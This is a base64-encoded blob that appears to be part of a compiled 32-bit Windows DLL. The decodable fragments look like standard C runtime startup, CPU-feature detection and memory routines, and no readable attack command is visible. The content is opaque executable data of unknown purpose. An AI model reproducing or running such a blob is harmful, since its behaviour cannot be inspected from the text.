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AAIvwhf90S4tFCDPJg+ABC8F0HIXbdQSF9nVvi4WY+///O8N1KoX2eCk783Yl61uLhYz7//8LwXRNhdt0FYX2eQSID+sNi4WY+///O8N0TYgMB42N5Pv//+gPCQAAgL2I+///AHQNi418+///g6FQAwAA/V+Lxl6LTfwzzVvo4OT//4vlXcOF23UFg87/68OLhZj7//87w3W2av5eiEwf/+uwi/9Vi+yB7IQEAAChGBAKEDPFiUX8g30YAItFEFOLXRSJhaD7//91GOgK3AAAxwAWAAAA6MjYAACDyP/pFwEAAIXbdASFwHTgVlf/dRyNjXz7///o7wcAAItNCI29kPv//zPAM9Krq6uri8GLvaD7//+D4AKJhYz7//8Lwom9kPv//4mdlPv//4mVmPv//3UKiJWc+///hf91B8aFnPv//wH/dSCNhZD7//+JhaD7//+NhYD7//9Q/3UYjYWg+////3UMUVCNjaT7///oQgcAAI2NpPv//+g/DQAAi/CF/3RRi0UIg+ABg8gAdByF23UEhfZ1douFmPv//zvDdS6F9ngwO/N2LOtii4WM+///g8gAdFOF23QbhfZ5BzPAZokH6xCLhZj7//87w3RQM8lmiQxHjY3k+///6I0HAACAvYj7//8AdA2LjXz7//+DoVADAAD9X4vGXotN/DPNW+he4///i+Vdw4XbdQWDzv/rw4uFmPv//zvDdbNq/l4zwGaJRF/+662L/1WL7IHshAQAAKEYEAoQM8WJRfyDfRgAi0UQU4tdFImFoPv//3UY6IXaAADHABYAAADoQ9cAAIPI/+kXAQAAhdt0BIXAdOBWV/91HI2NfPv//+hqBgAAi00Ijb2Q+///M8Az0qurq6uLwYu9oPv//4PgAomFjPv//wvCib2Q+///iZ2U+///iZWY+///dQqIlZz7//+F/3UHxoWc+///Af91II2FkPv//4mFoPv//42FgPv//1D/dRiNhaD7////dQxRUI2NpPv//+i9BQAAjY2k+///6OoMAACL8IX/dFGLRQiD4AGDyAB0HIXbdQSF9nV2i4WY+///O8N1LoX2eDA783Ys62KLhYz7//+DyAB0U4XbdBuF9nkHM8BmiQfrEIuFmPv//zvDdFAzyWaJDEeNjeT7///oCAYAAIC9iPv//wB0DYuNfPv//4OhUAMAAP1fi8Zei038M81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